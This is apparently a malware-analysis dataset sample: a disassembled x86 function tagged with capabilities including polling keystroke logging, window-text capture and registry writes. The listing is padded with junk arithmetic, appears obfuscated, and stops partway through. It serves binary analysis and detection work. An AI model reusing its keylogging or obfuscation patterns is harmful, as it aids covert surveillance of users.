Function at 0x10017ccb
Capabilities:
Accept command line arguments
Extract resource via kernel32 functions
Get graphical window text
Log keystrokes via polling
Parse pe header
Query environment variable
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007095a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x115c
call fcn.1006c6e0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x60], 0x2e91a04
mov dword [ebp - 0xd8], 7
mov dword [ebp - 0x2a4], 0
jmp 0x10017d1e
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 4
jge 0x10017d3a
mov eax, dword [ebp - 0x2a4]
mov dword [ebp + eax*4 - 0x10cc], 0xfffffffb
jmp 0x10017d11
mov dword [ebp - 0x60], 0xffffffe9
jmp 0x10017d4a
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0xc
je 0x10017e2b
mov dword [ebp - 0x180], 0xa2a3b3f3
mov dword [ebp - 0xa74], 0x9dcee34e
cmp dword [ebp - 0x180], 0
je 0x10017db6
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0xf20], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xf8c], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0xea0], eax
mov eax, 0xffff
test eax, eax
je 0x10017db6
mov dword [ebp - 0x960], 1
jmp 0x10017dbd
and dword [ebp - 0x960], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x960], eax
jne 0x10017dd4
mov dword [ebp - 0x95c], 1
jmp 0x10017ddb
and dword [ebp - 0x95c], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x95c], eax
je 0x10017df2
mov dword [ebp - 0x964], 1
jmp 0x10017df9
and dword [ebp - 0x964], 0
mov eax, dword [ebp - 0x180]
cmp dword [ebp - 0x964], eax
jge 0x10017e13
mov dword [ebp - 0x994], 1
jmp 0x10017e1a
and dword [ebp - 0x994], 0
mov eax, dword [ebp - 0x994]
mov dword [ebp - 0xa74], eax
jmp 0x10017d43
cmp dword [ebp - 0xd8], 0
je 0x10017ebb
cmp dword [ebp - 0x60], 0
jne 0x10017e5d
mov dword [ebp - 0x60], 1
cmp dword [ebp - 0x60], 0
je 0x10017e54
cmp dword [ebp - 0xd8], 0
jne 0x10017e5d
and dword [ebp - 0xc88], 0
jmp 0x10017e67
mov dword [ebp - 0xc88], 1
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xf98], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xea8], eax
mov eax, 0xaab56411
test eax, eax
je 0x10017e9a
cmp dword [ebp - 0x60], 0
je 0x10017e9a
mov dword [ebp - 0x99c], 1
jmp 0x10017ea1
and dword [ebp - 0x99c], 0
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0x99c], eax
jge 0x10017ebb
mov dword [ebp - 0x9a4], 1
jmp 0x10017ec2
and dword [ebp - 0x9a4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x9a4]
mov dword [ebp + eax - 0x10cc], ecx
cmp dword [ebp + 0x10], 0
jbe 0x10018366
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10018366
or dword [ebp - 0xd78], 0xffffffff
or dword [ebp - 0xd74], 0xffffffff
or dword [ebp - 0xd70], 0xffffffff
or dword [ebp - 0xd6c], 0xffffffff
lea ecx, [ebp - 0x3d1]
call fcn.1002155b
push eax
lea eax, [ebp - 0xd68]
push eax
lea eax, [ebp - 0xd78]
push eax
lea ecx, [ebp - 0x10bc]
call fcn.1002155e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xdec]
call fcn.1002150a
and dword [ebp - 4], 0
mov dword [ebp - 0x130], 0xfffffff6
mov dword [ebp - 0xbc0], 0xfff6
push 1
lea ecx, [ebp - 0xd04]
call fcn.100214ae
mov byte [ebp - 4], 1
mov dword [ebp - 0x21c], 0
jmp 0x10017f7e
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 1
jge 0x10017fa0
push dword [ebp - 0x21c]
lea ecx, [ebp - 0xd04]
call fcn.1002154c
mov dword [eax], 0x16eb2d36
jmp 0x10017f71
mov dword [ebp - 0x130], 3
jmp 0x10017fb9
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jl 0x10018334
mov dword [ebp - 0x160], 6
push 3
lea ecx, [ebp - 0xe64]
call fcn.100214ae
mov byte [ebp - 4], 2
mov dword [ebp - 0xfa0], 0x1465ee6
mov dword [ebp - 0xeb0], 1
mov dword [ebp - 0x2b8], 0
jmp 0x1001800e
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 3
jge 0x10018030
push dword [ebp - 0x2b8]
lea ecx, [ebp - 0xe64]
call fcn.1002154c
mov dword [eax], 1
jmp 0x10018001
mov byte [ebp - 0x129], 0
movzx eax, byte [ebp - 0x129]
test eax, eax
je 0x1001804a
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
mov byte [ebp - 0x121], 0
movzx eax, byte [ebp - 0x121]
test eax, eax
je 0x10018074
push 0x82b
push 0
push 0x2547
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
mov dword [ebp - 0x160], 3
jmp 0x1001808d
mov eax, dword [ebp - 0x160]
dec eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0
jl 0x10018320
mov dword [ebp - 0x3c], 0x9dfcf09c
mov dword [ebp - 0x9bc], 0x7911b9c6
mov dword [ebp - 0x3c], 0
jmp 0x100180bb
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jg 0x1001816c
mov dword [ebp - 0x2c0], 0x878abc10
mov dword [ebp - 0x224], 0
jmp 0x100180e8
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 1
jge 0x10018104
mov eax, dword [ebp - 0x224]
mov dword [ebp + eax*4 - 0xff8], 0
jmp 0x100180db
push dword [ebp - 0x160]
lea ecx, [ebp - 0xdec]
call fcn.1002154c
mov esi, eax
push dword [ebp - 0x130]
lea ecx, [ebp - 0xdec]
call fcn.1002154c
mov eax, dword [eax]
mov dword [esi], eax
mov dword [ebp - 0x2c0], 0
jmp 0x10018145
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 3
jg 0x10018167
mov dword [ebp - 0x9ac], 1
mov eax, dword [ebp - 0x9ac]
inc eax
mov dword [ebp - 0x9ac], eax
jmp 0x10018138
jmp 0x100180b4
mov dword [ebp - 0x3c], 0xffffffed
jmp 0x1001817c
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xf
jle 0x1001831b
mov dword [ebp - 0x368], 1
mov dword [ebp - 0xca8], 1
cmp dword [ebp - 0xbc0], 0
je 0x100181a8
jmp 0x1001831b
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xeb8], eax
push 0
lea ecx, [ebp - 0xd04]
call fcn.1002154c
cmp dword [eax], 0x4417
jge 0x100181d2
mov dword [ebp - 0x9b4], 1
jmp 0x100181d9
and dword [ebp - 0x9b4], 0
mov esi, dword [ebp - 0x9b4]
add esi, 8
push 1
lea ecx, [ebp - 0xe64]
call fcn.1002154c
cmp esi, dword [eax]
je 0x100181ff
mov dword [ebp - 0x9c4], 1
jmp 0x10018206
and dword [ebp - 0x9c4], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x9bc], eax
mov eax, dword [ebp - 0x9bc]
cmp eax, dword [ebp - 0x9c4]
jle 0x10018229
mov dword [ebp - 0x9cc], 1
jmp 0x10018230
and dword [ebp - 0x9cc], 0
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
mov eax, dword [ebp - 0x9cc]
sub eax, dword [ebp - 0x130]
cmp dword [ebp - 0x368], eax
je 0x1001825d
mov dword [ebp - 0x9d4], 1
jmp 0x10018264
and dword [ebp - 0x9d4], 0
mov eax, dword [ebp - 0x160]
cmp eax, dword [ebp - 0x9d4]
je 0x1001827e
mov dword [ebp - 0x9fc], 1
jmp 0x10018285
and dword [ebp - 0x9fc], 0
mov eax, dword [ebp - 0xca8]
cmp dword [ebp - 0x9fc], eax
jge 0x1001829f
mov dword [ebp - 0x970], 1
jmp 0x100182a6
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x970], eax
je 0x100182bd
mov dword [ebp - 0x548], 1
jmp 0x100182c4
and dword [ebp - 0x548], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x548], eax
jne 0x100182db
mov dword [ebp - 0x854], 1
jmp 0x100182e2
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x854], eax
jge 0x100182f9
mov dword [ebp - 0x450], 1
jmp 0x10018300
and dword [ebp - 0x450], 0
mov esi, dword [ebp - 0x450]
dec esi
push 0
lea ecx, [ebp - 0xd04]
call fcn.1002154c
mov dword [eax], esi
jmp 0x10018175
jmp 0x10018080
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xe64]
call fcn.10021530
jmp 0x10017fac
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xd04]
call fcn.10021530
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdec]
call fcn.10021530
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.100133c1
pop ecx
pop ecx
jmp 0x1001ff81
cmp dword [ebp + 0x10], 0
jne 0x1001c89e
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1000ac6a
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x68], 0
mov dword [ebp - 0xa78], 0x357257e
mov dword [ebp - 0xee4], 0xc3f4f880
mov dword [ebp - 0xec0], 1
mov dword [ebp - 0xee8], 7
mov dword [ebp - 0x470], 0x578cca69
mov dword [ebp - 0x22c], 0
jmp 0x100183d3
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 1
jge 0x100183ef
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0xec8], 0x1eca6c84
jmp 0x100183c6
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xef0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xed0], eax
cmp dword [ebp - 0x68], 0
je 0x10018419
cmp dword [ebp - 0x68], 0
je 0x10018419
mov dword [ebp - 0x85c], 1
jmp 0x10018420
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x85c]
je 0x10018437
mov dword [ebp - 0x458], 1
jmp 0x1001843e
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x458], eax
jge 0x1001845b
cmp dword [ebp - 0x68], 0
je 0x1001845b
mov dword [ebp - 0x864], 1
jmp 0x10018462
and dword [ebp - 0x864], 0
cmp dword [ebp - 0x864], 0xc213
jne 0x1001847a
mov dword [ebp - 0x460], 1
jmp 0x10018481
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x460], eax
jge 0x10018498
mov dword [ebp - 0x86c], 1
jmp 0x1001849f
and dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0x86c]
add eax, 0xce9d
cmp eax, dword [ebp - 0x68]
jge 0x100184bb
mov dword [ebp - 0x468], 1
jmp 0x100184c2
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x468], eax
jle 0x100184d9
mov dword [ebp - 0x874], 1
jmp 0x100184e0
and dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x874]
mov dword [ebp - 0xa78], eax
mov eax, dword [ebp - 0x470]
inc eax
mov dword [ebp - 0x470], eax
mov dword [ebp - 0xe0], 0xfffffff7
mov dword [ebp - 0x370], 0x6038591b
mov dword [ebp - 0x478], 0x974edf0e
mov dword [ebp - 0x488], 0x2ae857b1
mov dword [ebp - 0x3b8], 1
mov dword [ebp - 0xe0], 0
jmp 0x10018544
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 2
jge 0x10018835
push 1
lea ecx, [ebp - 0xa0c]
call fcn.100214ae
mov dword [ebp - 4], 3
mov dword [ebp - 0xb5c], 0x8aab5641
mov dword [ebp - 0x884], 0xfffffffb
mov dword [ebp - 0x89c], 0xffffffff
mov dword [ebp - 0x7c], 0
jmp 0x10018593
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x100185af
push dword [ebp - 0x7c]
lea ecx, [ebp - 0xa0c]
call fcn.1002154c
mov dword [eax], 0x22124f84
jmp 0x1001858c
mov dword [ebp - 0x7c], 0
jmp 0x100185bf
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 3
jge 0x100185d5
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x1044], 0xc857617c
jmp 0x100185b8
push 0
lea ecx, [ebp - 0xa0c]
call fcn.1002154c
mov dword [eax], 1
jmp 0x1001860e
push 0
lea ecx, [ebp - 0xa0c]
call fcn.1002154c
mov dword [ebp - 0x87c], eax
mov eax, dword [ebp - 0x87c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x87c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xa0c]
call fcn.1002154c
cmp dword [eax], 0xffffffe4
jne 0x10018821
push 3
lea ecx, [ebp - 0xd40]
call fcn.100214ae
mov byte [ebp - 4], 4
mov dword [ebp - 0xb54], 0x58efa97
mov dword [ebp - 0x498], 0x32adaa23
mov dword [ebp - 0x2c8], 0
jmp 0x10018662
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 3
jge 0x10018681
push dword [ebp - 0x2c8]
lea ecx, [ebp - 0xd40]
call fcn.1002154c
and dword [eax], 0
jmp 0x10018655
push 0
lea ecx, [ebp - 0xa0c]
call fcn.1002154c
mov eax, dword [eax]
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 0x3e19f23e
jg 0x100186ae
mov dword [ebp - 0x480], 1
jmp 0x100186b5
and dword [ebp - 0x480], 0
push 0
lea ecx, [ebp - 0xa0c]
call fcn.1002154c
mov eax, dword [eax]
mov dword [ebp - 0xb54], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xb5c], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x884], eax
mov eax, dword [ebp - 0x884]
imul eax, dword [ebp - 0x498]
cmp dword [ebp - 0x480], eax
jle 0x10018703
mov dword [ebp - 0x88c], 1
jmp 0x1001870a
and dword [ebp - 0x88c], 0
mov eax, dword [ebp - 0x88c]
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 0xfff7
je 0x1001872e
mov dword [ebp - 0x894], 1
jmp 0x10018735
and dword [ebp - 0x894], 0
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x894], eax
je 0x1001874f
mov dword [ebp - 0x3ec], 1
jmp 0x10018756
and dword [ebp - 0x3ec], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x3ec]
mov dword [ebp + eax - 0x1044], ecx
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0
jne 0x1001878f
cmp dword [ebp - 0x3b8], 0
jne 0x1001878f
and dword [ebp - 0x490], 0
jmp 0x10018799
mov dword [ebp - 0x490], 1
mov dword [ebp - 0x370], 0xeb98
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0xb64], eax
push 0
lea ecx, [ebp - 0xd40]
call fcn.1002154c
mov ecx, dword [ebp - 0xb64]
mov dword [eax], ecx
mov eax, dword [ebp - 0x490]
mov dword [ebp - 0x89c], eax
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0xef8], eax
push 0
lea ecx, [ebp - 0xd40]
call fcn.1002154c
cmp dword [eax], 0xffffffff
jge 0x100187fa
mov dword [ebp - 0xb6c], 1
jmp 0x10018801
and dword [ebp - 0xb6c], 0
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0x498], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xd40]
call fcn.10021530
jmp 0x100185ea
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa0c]
call fcn.10021530
jmp 0x10018537
push 3
lea ecx, [ebp - 0xbd4]
call fcn.100214ae
mov dword [ebp - 4], 5
mov dword [ebp - 0xb8c], 0xc39c9d94
mov dword [ebp - 0xac], 0
jmp 0x1001886c
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 3
jge 0x10018888
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x210], 0xffffffff
jmp 0x1001885f
mov dword [ebp - 0xac], 0
jmp 0x100188a1
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 3
jge 0x100188c3
push dword [ebp - 0xac]
lea ecx, [ebp - 0xbd4]
call fcn.1002154c
mov dword [eax], 0xa08ecb30
jmp 0x10018894
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x210], 0x16
jmp 0x100188ee
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x210]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x210], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x210], 0x19
je 0x10018a69
mov dword [ebp - 0x8a4], 0x7cc6
mov dword [ebp - 0xb7c], 0x10007cf8
cmp dword [ebp - 0x8a4], 0x8034
jle 0x100189fa
and dword [ebp - 0x23c], 0
jmp 0x1001893b
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x16fe
jge 0x100189fa
and dword [ebp - 0x234], 0
jmp 0x10018961
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x45b
jge 0x100189f5
and dword [ebp - 0x2d0], 0
jmp 0x10018987
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x8029
jge 0x100189f0
mov eax, dword [ebp - 0x234]
sub eax, dword [ebp - 0x2d0]
and eax, dword [ebp - 0x23c]
cdq
mov dword [ebp - 0xa84], eax
mov dword [ebp - 0xa80], edx
push dword [ebp - 0xa80]
push dword [ebp - 0xa84]
lea ecx, [ebp - 0x113c]
call fcn.1000abc0
pop ecx
pop ecx
mov dword [ebp - 0xb74], eax
mov ecx, dword [ebp - 0xb74]
call fcn.10021086
push eax
call fcn.1005a7f1
pop ecx
lea ecx, [ebp - 0x113c]
call fcn.10021026
jmp 0x1001897a
jmp 0x10018954
jmp 0x1001892e
mov byte [ebp - 0x111], 0
movzx eax, byte [ebp - 0x111]
test eax, eax
je 0x10018a1c
push 0xd2
push 0xbca
call dword [sym.imp.USER32.dll_GetWindow]
mov byte [ebp - 4], 6
cmp dword [ebp - 0x8a4], 0x7a12
jge 0x10018a38
push dword [ebp - 0xb7c]
call fcn.1005a7f1
pop ecx
jmp 0x10018a54
mov dword [ebp - 4], 5
jmp 0x10018a64
jmp 0x100188d5
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x210]
mov dword [ebp - 0xeec], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x210], 0
je 0x10018aa6
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x210], 0
je 0x10018aa6
mov dword [ebp - 0x4a0], 1
jmp 0x10018aad
and dword [ebp - 0x4a0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x210]
cmp dword [ebp - 0x4a0], eax
je 0x10018acd
mov dword [ebp - 0x3c0], 1
jmp 0x10018ad4
and dword [ebp - 0x3c0], 0
push 0
lea ecx, [ebp - 0xbd4]
call fcn.1002154c
mov ecx, dword [ebp - 0x3c0]
mov dword [eax], ecx
cmp dword [ebp - 0x3c0], 0
jle 0x10018afe
mov dword [ebp - 0x8ac], 1
jmp 0x10018b05
and dword [ebp - 0x8ac], 0
push 4
pop eax
shl eax, 1
imul ecx, dword [ebp - 0x8ac], 0xd4a1
cmp ecx, dword [ebp + eax - 0x210]
jg 0x10018b2a
push 0
lea ecx, [ebp - 0xbd4]
call fcn.1002154c
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x210]
mov dword [ebp - 0xfdc], eax
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x210]
push 2
lea ecx, [ebp - 0xbd4]
call fcn.1002154c
cmp esi, dword [eax]
jle 0x10018b66
mov dword [ebp - 0xb84], 1
jmp 0x10018b6d
and dword [ebp - 0xb84], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x210]
mov dword [ebp - 0xef4], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x210], 7
jne 0x10018b9b
xor eax, eax
jne 0x10018b9b
and dword [ebp - 0x4a8], 0
jmp 0x10018ba5
mov dword [ebp - 0x4a8], 1
cmp dword [ebp - 0x4a8], 0xf3d4210e
je 0x10018bbd
mov dword [ebp - 0x8b4], 1
jmp 0x10018bc4
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0xb8c]
cmp dword [ebp - 0x8b4], eax
je 0x10018bde
mov dword [ebp - 0x4b0], 1
jmp 0x10018be5
and dword [ebp - 0x4b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x210]
cmp eax, dword [ebp - 0x4b0]
jne 0x10018c06
mov dword [ebp - 0x8bc], 1
jmp 0x10018c0d
and dword [ebp - 0x8bc], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x8bc]
mov dword [ebp + eax - 0x210], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbd4]
call fcn.10021530
cmp dword [0x10619d98], 0
jne 0x1001c02f
mov dword [ebp - 0x4b8], 0x4b23
mov dword [ebp - 0xb9c], 0x10007d78
cmp dword [ebp - 0x4b8], 0x4c74
jle 0x10018d1a
push 0
push 0
push 0x8af
push 0x1315
call dword [sym.imp.USER32.dll_SendMessageW]
and dword [ebp - 0x2d8], 0
jmp 0x10018c89
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0x88c
jge 0x10018d1a
and dword [ebp - 0x244], 0
jmp 0x10018caf
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x50c4
jge 0x10018d15
mov eax, dword [ebp - 0x2d8]
cdq
idiv dword [ebp - 0x244]
mov eax, edx
cdq
mov dword [ebp - 0xa90], eax
mov dword [ebp - 0xa8c], edx
push dword [ebp - 0xa8c]
push dword [ebp - 0xa90]
lea ecx, [ebp - 0x10f4]
call fcn.1000abc0
pop ecx
pop ecx
mov dword [ebp - 0xb94], eax
mov ecx, dword [ebp - 0xb94]
call fcn.10021086
push eax
call fcn.1005a7f1
pop ecx
lea ecx, [ebp - 0x10f4]
call fcn.10021026
jmp 0x10018ca2
jmp 0x10018c7c
mov dword [ebp - 0x1b0], 1
mov dword [ebp - 4], 8
cmp dword [ebp - 0x4b8], 0x4a57
jge 0x10018d43
push dword [ebp - 0xb9c]
call fcn.1005a7f1
pop ecx
jmp 0x10018d5f
or dword [ebp - 4], 0xffffffff
jmp 0x10018d69
mov dword [ebp - 0xbac], 5
mov dword [ebp - 0x1b0], 0xa
jmp 0x10018d8c
mov eax, dword [ebp - 0x1b0]
dec eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0xfffffffb
jg 0x10018fcf
push 2
lea ecx, [ebp - 0xd28]
call fcn.100214ae
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x94], 0
jmp 0x10018dc6
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x10018de2
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0xbe4], 1
jmp 0x10018db9
mov dword [ebp - 0x94], 0
jmp 0x10018dfb
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jge 0x10018e1d
push dword [ebp - 0x94]
lea ecx, [ebp - 0xd28]
call fcn.1002154c
mov dword [eax], 9
jmp 0x10018dee
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xbe4], 0xfffffff1
jmp 0x10018e4b
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbe4]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xbe4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xbe4], 6
je 0x10018fbb
mov dword [ebp - 0x4c8], 0xfffffffe
mov dword [ebp - 0x8cc], 0xffffffff
mov dword [ebp - 0x2e0], 0
jmp 0x10018e8c
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 1
jge 0x10018ea8
mov eax, dword [ebp - 0x2e0]
mov dword [ebp + eax*4 - 0xba4], 0xfffffffd
jmp 0x10018e7f
push 0
lea ecx, [ebp - 0xd28]
call fcn.1002154c
mov dword [eax], 0xf365653d
mov esi, dword [ebp - 0x1b0]
push 0
lea ecx, [ebp - 0xd28]
call fcn.1002154c
mov ecx, 0x52509e71
sub ecx, dword [eax]
imul eax, ecx, 0xb3e7
cmp eax, esi
jne 0x10018eeb
mov dword [ebp - 0x8c4], 1
jmp 0x10018ef2
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0x4c8]
cmp dword [ebp - 0x8c4], eax
jle 0x10018f0c
mov dword [ebp - 0x4c0], 1
jmp 0x10018f13
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x8cc], eax
push 4
pop eax
shl eax, 0
mov ecx, 0xe6aa1654
sub ecx, dword [ebp - 0x8cc]
sub ecx, dword [ebp + eax - 0xbe4]
cmp ecx, 0x8d5feaf8
je 0x10018f4b
mov dword [ebp - 0x8d4], 1
jmp 0x10018f52
and dword [ebp - 0x8d4], 0
mov eax, dword [ebp - 0x4c8]
cmp dword [ebp - 0x8d4], eax
jl 0x10018f6c
mov dword [ebp - 0x4d0], 1
jmp 0x10018f73
and dword [ebp - 0x4d0], 0
cmp dword [ebp - 0x4d0], 0x87642760
jb 0x10018f8d
or eax, 0xffffffff
jne 0x10018f8d
and dword [ebp - 0x378], 0
jmp 0x10018f97
mov dword [ebp - 0x378], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x378]
mov dword [ebp + eax - 0xba4], ecx
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0xbac], eax
jmp 0x10018e30
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd28]
call fcn.10021530
jmp 0x10018d7f
mov dword [ebp - 0xbb4], 0xc102
lea eax, [ebp - 0xbb4]
push eax
call fcn.10013392
pop ecx
mov dword [ebp - 0x6d8], eax
mov dword [ebp - 0x914], 0x30bc
mov dword [ebp - 0xcc0], 0x10007df4
cmp dword [ebp - 0x914], 0x33c2
jle 0x10019119
and dword [ebp - 0x24c], 0
jmp 0x10019026
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x562
jge 0x10019119
and dword [ebp - 0x2e8], 0
jmp 0x1001904c
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x3319
jge 0x10019114
and dword [ebp - 0x254], 0
jmp 0x10019072
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x431f
jge 0x1001910f
and dword [ebp - 0x2f0], 0
jmp 0x10019098
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x2e3e
jge 0x1001910a
mov eax, dword [ebp - 0x24c]
cdq
idiv dword [ebp - 0x2e8]
sub edx, dword [ebp - 0x254]
sub edx, dword [ebp - 0x2f0]
mov eax, edx
cdq
mov dword [ebp - 0xa9c], eax
mov dword [ebp - 0xa98], edx
push dword [ebp - 0xa98]
push dword [ebp - 0xa9c]
lea ecx, [ebp - 0x116c]
call fcn.1000abc0
pop ecx
pop ecx
mov dword [ebp - 0xbbc], eax
mov ecx, dword [ebp - 0xbbc]
call fcn.10021086
push eax
call fcn.1005a7f1
pop ecx
lea ecx, [ebp - 0x116c]
call fcn.10021026
jmp 0x1001908b
jmp 0x10019065
jmp 0x1001903f
jmp 0x10019019
push 3
lea ecx, [ebp - 0x9e4]
call fcn.100214ae
mov dword [ebp - 4], 0xb
mov dword [ebp - 0xb8], 0x6915a136
